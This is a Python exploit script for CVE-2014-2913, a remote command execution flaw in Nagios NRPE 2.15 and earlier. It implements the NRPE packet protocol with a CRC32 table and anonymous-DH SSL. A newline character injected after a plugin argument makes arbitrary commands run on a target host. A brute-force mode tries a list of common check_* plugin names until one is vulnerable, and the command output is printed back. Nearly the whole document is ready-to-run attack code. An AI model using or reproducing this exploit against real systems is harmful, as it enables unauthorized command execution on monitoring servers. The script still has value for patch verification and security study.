NRPE 2.15 Remote Command Execution

`#!/usr/bin/python  
#  
#  
# Exploit Title : NRPE <= 2.15 Remote Code Execution Vulnerability  
#  
# Discovered by : Dawid Golunski  
# dawid (at) legalhackers (dot) com  
# legalhackers.com  
#  
# Exploit Author : Claudio Viviani  
# http://www.homelab.it  
#  
# [email protected]  
# [email protected]  
#  
# https://www.facebook.com/homelabit  
# https://twitter.com/homelabit  
# https://plus.google.com/+HomelabIt1/  
# https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww  
#  
#  
#  
# C crc32 function ripped from check_nrpe_clone by Alan Brenner <[email protected]>  
# http://www.abcompcons.com/files/nrpe_client.py  
#  
# pyOpenSSL Library required (http://pyopenssl.sourceforge.net/)  
#  
# [root@localhost ~]# pip-python install pyOpenSSL  
#  
# NRPE <= 2.15 Remote Command Execution Vulnerability  
# Release date: 17.04.2014  
# Discovered by: Dawid Golunski  
# Severity: High  
# CVE-2014-2913  
#  
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2913  
# http://www.exploit-db.com/exploits/32925/  
# http://www.homelab.it/index.php/2014/05/03/nagios-nrpe-remote-command-injection-test-fix/ (ITA)  
#  
# Tested on CentOS 5.x, CentOS 6.x, BacBox 3.x, KaliLinux 1.0.6 with Python 2.x  
#  
# Demo: https://www.youtube.com/watch?v=nmYiBdnWWcE  
#  
  
import OpenSSL # non-standard, see http://pyopenssl.sourceforge.net/  
import optparse  
import os  
import signal  
import socket  
import struct  
import sys  
import time  
  
banner = """  
  
$$\ $$\ $$$$$$$\ $$$$$$$\ $$$$$$$$\ $$$$$$\ $$\ $$$$$$$\\  
$$$\ $$ |$$ __$$\ $$ __$$\ $$ _____| $$ __$$\ $$$$ | $$ ____|  
$$$$\ $$ |$$ | $$ |$$ | $$ |$$ | \__/ $$ | \_$$ | $$ |  
$$ $$\$$ |$$$$$$$ |$$$$$$$ |$$$$$\ $$$$$$ | $$ | $$$$$$$\\  
$$ \$$$$ |$$ __$$< $$ ____/ $$ __| $$ ____/ $$ | \_____$$\\  
$$ |\$$$ |$$ | $$ |$$ | $$ | $$ | $$ | $$\ $$ |  
$$ | \$$ |$$ | $$ |$$ | $$$$$$$$\ $$$$$$$$\ $$\ $$$$$$\\$$$$$$ |  
\__| \__|\__| \__|\__| \________| \________|\__|\______|\______/  
  
  
  
$$$$$$$\ $$$$$$\ $$$$$$$$\\  
$$ __$$\ $$ __$$\ $$ _____|  
$$ | $$ |$$ / \__|$$ |  
$$$$$$$ |$$ | $$$$$\\  
$$ __$$< $$ | $$ __|  
$$ | $$ |$$ | $$\ $$ |  
$$ | $$ |\$$$$$$ |$$$$$$$$\\  
\__| \__| \______/ \________|  
NRPE <= 2.15 R3m0t3 C0mm4nd Ex3cut10n  
  
  
=============================================  
- Release date: 17.04.2014  
- Discovered by: Dawid Golunski  
- Severity: High  
- CVE: 2014-2913  
=============================================  
  
Written by:  
  
Claudio Viviani  
  
http://www.homelab.it  
  
[email protected]  
[email protected]  
  
https://www.facebook.com/homelabit  
https://twitter.com/homelabit  
https://plus.google.com/+HomelabIt1/  
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww  
  
"""  
# Plugin list for Brute force mode  
PluginList = ['check_all',  
'check_apt',  
'check_bdii',  
'check_bonding',  
'check_breeze',  
'check_by_ssh',  
'check_check-updates',  
'check_check_sip',  
'check_cluster',  
'check_dhcp',  
'check_dig',  
'check_disk',  
'check_disk_smb',  
'check_dns',  
'check_dpm-disk',  
'check_dpm-head',  
'check_dummy',  
'check_file_age',  
'check_flexlm',  
'check_fping',  
'check_game',  
'check_hpjd',  
'check_http',  
'check_icmp',  
'check_ide_smart',  
'check_ifoperstatus',  
'check_ifstatus',  
'check_ircd',  
'check_lcgdm',  
'check_lcgdm-common',  
'check_ldap',  
'check_lfc',  
'check_linux_raid',  
'check_load',  
'check_log',  
'check_mailq',  
'check_mrtg',  
'check_mrtgtraf',  
'check_mysql',  
'check_nagios',  
'check_nrpe',  
'check_nt',  
'check_ntp',  
'check_nwstat',  
'check_openmanage',  
'check_oracle',  
'check_overcr',  
'check_perl',  
'check_pgsql',  
'check_ping',  
'check_procs',  
'check_radius',  
'check_real',  
'check_rhev',  
'check_rpc',  
'check_sensors',  
'check_smtp',  
'check_snmp',  
'check_ssh',  
'check_swap',  
'check_tcp',  
'check_time',  
'check_ups',  
'check_users',  
'check_wave']  
  
  
  
# nrpe 2.15 skip chars "|`&><'\"\\[]{};" and "$()" but not "\x0a"(new line)  
evilchar = "\x0a"  
  
QUERY_PACKET = 1  
RESPONSE_PACKET = 2  
  
NRPE_PACKET_VERSION_2 = 2  
  
# max amount of data we'll send in one query/response  
MAX_PACKETBUFFER_LENGTH = 1024  
  
  
#def debug(sMessage):  
# """Send a string to STDERR"""  
# if DEBUG:  
# sys.stderr.write("%s\n" % sMessage)  
  
class DataPacket:  
"""A Python implementation of the C struct, packet."""  
def __init__(self, packet_version, packet_type):  
self.nPacketVersion = packet_version # int16  
self.nPacketType = packet_type # int16  
self.nCRC32 = 0 # u_int32  
self.nResultCode = 2324 # int16  
self.sData = ''  
self.tCRC32 = (  
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419,  
0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4,  
0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07,  
0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,  
0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856,  
0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,  
0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4,  
0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,  
0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3,  
0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a,  
0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599,  
0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,  
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190,  
0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f,  
0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e,  
0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,  
0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed,  
0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,  
0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3,  
0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,  
0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a,  
0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5,  
0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010,  
0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,  
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17,  
0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6,  
0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615,  
0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,  
0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344,  
0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,  
0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a,  
0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,  
0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1,  
0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c,  
0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef,  
0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,  
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe,  
0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31,  
0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c,  
0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,  
0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b,  
0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,  
0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1,  
0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,  
0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278,  
0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7,  
0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66,  
0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,  
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605,  
0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8,  
0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b,  
0x2d02ef8d)  
  
def __str__(self):  
# Turn whatever string data we have into a null terminated string  
if len(self.sData) < MAX_PACKETBUFFER_LENGTH:  
sData = self.sData + "\0" * (MAX_PACKETBUFFER_LENGTH - len(self.sData))  
sData += "SR" # not sure about this, from perl  
elif len(self.sData) == MAX_PACKETBUFFER_LENGTH + 2:  
sData = self.sData  
else:  
raise ValueError("CHECK_NRPE: invalid input")  
# Return a string that equals the C struct, not something printable  
return struct.pack("!hhLh" + str(len(sData)) + "s", self.nPacketVersion,  
self.nPacketType, self.nCRC32, self.nResultCode, sData)  
  
def __len__(self):  
return len(self.__str__())  
  
def dumpself(self):  
"""Debugging output for self as C structure.  
  
Not normally used."""  
sElf = self.__str__()  
sPrev = sElf[0:1]  
nCount = 0  
ii = -1  
for sChar in sElf[1:]:  
ii += 1  
if sChar == sPrev:  
nCount += 1  
continue  
if nCount:  
print "%d\t%d *" % (ii - nCount, nCount + 1),  
nCount = 0  
else:  
print "%d\t" % ii,  
print "\t'%s' (%d)" % (sPrev, ord(sPrev))  
sPrev = sChar  
print "%d\t\t'%s' (%d)" % (ii + 1, sPrev, ord(sPrev))  
  
def calculate_crc32(self):  
"""Calculate the CRC32 value for the string version of self."""  
nCRC = 0xFFFFFFFF  
for ii in self.__str__():  
nIndex = (nCRC ^ ord(ii)) & 0xFF  
nCRC = ((nCRC >> 8) & 0x00FFFFFF) ^ self.tCRC32[nIndex]  
self.nCRC32 = nCRC ^ 0xFFFFFFFF  
#debug("DataPacket.calculate_crc32 = %d" % self.nCRC32)  
  
def extract(self, sQuery):  
"""Turn a string into the DataPacket attributes."""  
#debug("DataPacket.extract(%d)" % len(sQuery))  
tVals = struct.unpack("!hhLh" + str(len(sQuery) - 10) + "s", sQuery)  
self.nPacketVersion = tVals[0]  
self.nPacketType = tVals[1]  
self.nCRC32 = tVals[2]  
self.nResultCode = tVals[3]  
self.sData = tVals[4]  
  
m_nTimeout = 0  
def alarm_handler(nSignum, oFrame):  
"""Timeout catcher"""  
raise KeyboardInterrupt("CHECK_NRPE: Socket timeout after %d seconds." %  
m_nTimeout)  
  
  
class NrpeClient(DataPacket):  
"""Everything needed to send a message to an NRPE server and get data back.  
"""  
def __init__(self, server_name, server_port=5666, use_ssl=True, timeout=10,  
packet_version=NRPE_PACKET_VERSION_2):  
DataPacket.__init__(self, packet_version, QUERY_PACKET)  
self.sServer = server_name  
self.nPort = server_port  
self.bUseSSL = use_ssl  
self.nTimeout = timeout  
  
def run_query(self, sQuery):  
"""Connect to the NRPE server, send the query and get back data.  
"""  
# initialize alarm signal handling and set timeout  
signal.signal(signal.SIGALRM, alarm_handler)  
signal.alarm(self.nTimeout)  
  
# try to connect to the host at the given port number  
oSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
# do SSL handshake  
if self.bUseSSL:  
oContext = OpenSSL.SSL.Context(OpenSSL.SSL.TLSv1_METHOD)  
oContext.set_cipher_list('ADH')  
oConnection = OpenSSL.SSL.Connection(oContext, oSocket)  
else:  
oConnection = oSocket  
  
oConnection.connect((self.sServer, self.nPort))  
  
# we're connected and ready to go  
self.sData = sQuery  
self.nCRC32 = 0  
self.calculate_crc32()  
  
# send the packet  
oConnection.send(str(self))  
  
# wait for the response packet  
sRval = oConnection.recv(len(self))  
  
# close the connection  
if self.bUseSSL and not oConnection.shutdown():  
try:  
sRval += oConnection.recv(len(self))  
except OpenSSL.SSL.ZeroReturnError:  
pass  
oSocket.close()  
del oSocket, oConnection  
if self.bUseSSL:  
del oContext  
  
# reset timeout  
signal.alarm(0)  
  
if len(sRval) == 0:  
raise IOError("CHECK_NRPE: Received 0 bytes from daemon." +  
"Check the remote server logs for error messages.")  
elif len(sRval) < len(self):  
raise IOError("CHECK_NRPE: Receive underflow - only " +  
"%d bytes received (%d expected)." % (len(sRval), len(self)))  
  
# Become the received data  
self.extract(sRval)  
  
# check the crc 32 value  
nRvalCRC = self.nCRC32  
self.nCRC32 = 0  
self.calculate_crc32()  
if nRvalCRC != self.nCRC32:  
raise ValueError("CHECK_NRPE: Response packet had invalid CRC32.")  
  
# check packet version  
if self.nPacketVersion != NRPE_PACKET_VERSION_2:  
raise ValueError("CHECK_NRPE: Invalid packet version received from server.")  
  
# check packet type  
if self.nPacketType != RESPONSE_PACKET:  
raise ValueError("CHECK_NRPE: Invalid packet type received from server.")  
  
# Turn the input data into a proper python string (chop at first NULL)  
for ii in range(len(self.sData)):  
if self.sData[ii] == "\0":  
break  
self.sData = self.sData[0:ii]  
  
  
if __name__ == '__main__':  
m_oOpts = optparse.OptionParser("%prog -H Host_or_IP -c nrpe_command --cmd=\"command to execute\" [-b, --brute] [-n] [-p PORT] [--timeout sec] [--list]")  
m_oOpts.add_option('--host', '-H', action='store', type='string',  
help='The address of the host running the NRPE daemon (required)')  
m_oOpts.add_option('--ssl', '-n', action='store_false', default=True,  
help='Do no use SSL')  
m_oOpts.add_option('--port', '-p', action='store', type='int', default=5666,  
help='The port on which the daemon is running (default=5666)')  
m_oOpts.add_option('--timeout', '-t', action='store', type='int',  
default=10,  
help='Number of seconds before connection times out (default=10)')  
m_oOpts.add_option('--command', '-c', action='store', type='string',  
#default='get_data',  
help='The name of nrpe command')  
m_oOpts.add_option('--brute', '-b', action='store_true', default=False,  
help='Find existing nrpe command from list [ -list ]')  
m_oOpts.add_option('--list', action='store_true', default=False,  
help='Show NRPE Command list')  
m_oOpts.add_option('--cmd', action='store', type='string',  
help='Command to execute on the remote server')  
  
m_oOptions, m_lArgs = m_oOpts.parse_args()  
m_nTimeout = m_oOptions.timeout  
m_sQuery = m_oOptions.command  
m_gList = m_oOptions.list  
m_sBrute = m_oOptions.brute  
  
print (banner)  
  
if m_gList:  
print('[+] NRPE Command list\n')  
for LinesPluginList in PluginList:  
print(LinesPluginList)  
sys.exit(0)  
elif m_sQuery and m_sBrute:  
print m_oOpts.format_help()  
print('[!]')  
print('[!] ERROR: Select only -c OR -b option\n')  
sys.exit(0)  
elif not m_oOptions.host or not m_oOptions.cmd:  
print m_oOpts.format_help()  
sys.exit(0)  
  
print('[+] Target: '+m_oOptions.host)  
print('[+] Command: '+m_oOptions.cmd+' \n')  
  
if m_sBrute:  
print('[+] Brute force Mode....')  
print('[+]')  
for LinesPluginList in PluginList:  
  
m_CommandQuery = ""  
m_CommandQuery += ' ' + m_oOptions.cmd  
if m_lArgs:  
m_CommandQuery += ' ' + ' '.join(m_lArgs)  
  
m_sQuery = LinesPluginList+'!'+str(evilchar)+str(m_CommandQuery)+' #'  
  
  
m_oNRPE = NrpeClient(m_oOptions.host, m_oOptions.port, m_oOptions.ssl,  
m_oOptions.timeout)  
try:  
m_oNRPE.run_query(m_sQuery)  
except socket.error:  
print('[!] Connection Error!')  
sys.exit(1)  
except OpenSSL.SSL.ZeroReturnError:  
print('[!] Not Vulnerable')  
print('[!] Option dont_blame_nrpe disabled or service fixed')  
sys.exit(1)  
  
if m_oNRPE.sData[-11:] == "not defined":  
print('[-] Checking for NRPE command '+LinesPluginList+':\t\t\tnot found')  
else:  
print('[+] Checking for NRPE command '+LinesPluginList+':\t\t\tVULNERABLE!')  
print('[+]')  
print('[+] Max Output CHAR 1024 (According to NRPE <= 2.15 specifications)')  
print('[+]')  
print('[+] Please ignore NRPE plugin command messages (Usage or Errors)')  
print('[+]')  
print(m_oNRPE.sData)  
sys.exit(0)  
elif m_sQuery:  
print('[+] Custom command Mode....')  
print('[+]')  
print('[+] Connecting......')  
  
m_CommandQuery = ""  
m_CommandQuery += ' ' + m_oOptions.cmd  
if m_lArgs:  
m_CommandQuery += ' ' + ' '.join(m_lArgs)  
  
m_sQuery = m_sQuery+'!'+str(evilchar)+str(m_CommandQuery)+' #'  
  
m_oNRPE = NrpeClient(m_oOptions.host, m_oOptions.port, m_oOptions.ssl,  
m_oOptions.timeout)  
try:  
m_oNRPE.run_query(m_sQuery)  
except KeyboardInterrupt:  
print("[!] CHECK_NRPE: Socket timeout after %d seconds." % m_nTimeout)  
sys.exit(1)  
except socket.error:  
print('[!] Connection Error!')  
sys.exit(1)  
except OpenSSL.SSL.ZeroReturnError:  
print('[!] Not Vulnerable')  
print('[!] Option dont_blame_nrpe disabled or service fixed')  
sys.exit(1)  
  
if m_oNRPE.sData[-11:] == "not defined":  
print('[-] Checking for NRPE command '+m_oOptions.command+': not found...try other NRPE command')  
else:  
print('[+] Checking for NRPE command '+m_oOptions.command+': VULNERABLE!')  
print('[+]')  
print('[+] Max Output CHAR 1024 (According to NRPE <= 2.15 specifications)')  
print('[+]')  
print('[+] Please ignore NRPE plugin command messages (Usage or Errors)')  
print('[+]')  
print(m_oNRPE.sData)  
sys.exit(0)  
  
`